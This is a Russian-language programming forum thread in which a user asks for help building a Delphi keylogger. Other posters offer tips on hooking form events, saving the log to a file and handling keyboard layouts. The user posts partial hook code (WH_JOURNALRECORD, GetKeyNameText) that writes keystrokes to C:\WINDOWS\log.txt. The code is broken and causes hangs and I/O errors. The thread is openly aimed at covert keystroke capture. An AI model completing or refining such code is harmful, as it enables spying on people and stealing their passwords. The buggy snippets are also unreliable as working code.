keylogger-клавиатурный шпион

[Вавел из ГМТУ]

Такими методами никогда и ничего работать не будет.
Компоненты не знают о существовании своих обработчиков и поэтому ни FormCreate ни FormClose не выполняются.

Ну и чтобы провериь допиши ShowMesagge('True'); в FormCreate....
И убедтсь, что эта функция не отработает.

[betirsolt]

Сообщение от Вавел из ГМТУ

Такими методами никогда и ничего работать не будет.
Компоненты не знают о существовании своих обработчиков и поэтому ни FormCreate ни FormClose не выполняются.

Ну и чтобы провериь допиши ShowMesagge('True'); в FormCreate....
И убедтсь, что эта функция не отработает.

вот теперь заработал..мне просто надо было в объектном инспекторе тоже щелкать по форм клоуз и форм крейт)))теперь он пишет все что я нажимаю в мемо....может теперь и с сохранением в файл поможет мне))))извиняюсь конечно

[Lime]

Сообщение от betirsolt

вот теперь заработал..мне просто надо было в объектном инспекторе тоже щелкать по форм клоуз и форм крейт)))теперь он пишет все что я нажимаю в мемо....может теперь и с сохранением в файл поможет мне))))извиняюсь конечно

Весело однако но для полноценного кейлогера из этой грушки нужно хотябы ловить какой язык активен на данный момент и оставлять или делать транслитерацию с англ на рус.
Далее поспрошать у умных людей или найти самому сколько символов умеет кушать TMemo и периодически сохранять содержимое в файл и очищать memo .
Сохранять - просто

Memo1.lines.savetofile('путь к файлу');

[betirsolt]

вот что у меня получилось#

var c:array[0..255] of char;
 s:string;
    nScan:integer;
    f:textfile;
begin
Assign(f,'C:\WINDOWS\log.txt');
  if FileExists('C:\WINDOWS\log.txt') then
  Append(f) else Rewrite(f);
 if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
  nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
  nscan:=nscan shl 16;
  GetKeyNameText(nScan,c,256);

if length(s)=1 then
begin
 Writeln(f,c);
  CloseFile(f);
 Form1.Memo1.Lines.Text:=Form1.Memo1.Lines.Text+c
end

но когда запускаю страшно виснет винда и потом показывает ошибку I/O error 32.....лог файл создает но ничего не записывает ни в мемо ни в лог

[Alex Cones]

F7 тебе в помощь.

[Вавел из ГМТУ]

OMG...

Не засовывай в эту функцию ничего такого.. Она выполняется ПОСТОЯННО.

Неудивительно, что зависло.

[betirsolt]

я не совсем понимаю((((что и где я не правильно сделал исправьте и объясните пожалуйста

[Вавел из ГМТУ]

Ты сначала разберись как работает исходный код, а потом уже модифицируй.

[betirsolt]

ну вот я и не могу разобраться... например вот этот промежуток я не понимаю
код:

if (code>=0)and(teventmsg(pointer(lpar am)^).message=wm_keydown) then begin
nScan:=hibyte((teventmsg(pointer(lp aram)^).paramL));
nscan:=nscan shl 16;
GetKeyNameText(nScan,c,256);
if length(s)=1 then

кто нибудь объясните пожалуйста,буду очень благодарен

я вот так пытался переделать но показывает ошибку

код:
procedure TForm1.FormCreate(Sender: TObject);
begin
Assign(f,'C:\WINDOWS\log.txt');
  if FileExists('C:\WINDOWS\log.txt') then
  Append(f) else Rewrite(f);
  form1.Memo1.Lines.SaveToFile(f);
 h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);

end;

[Lime]

http://programmersforum.ru/showpost....0&postcount=23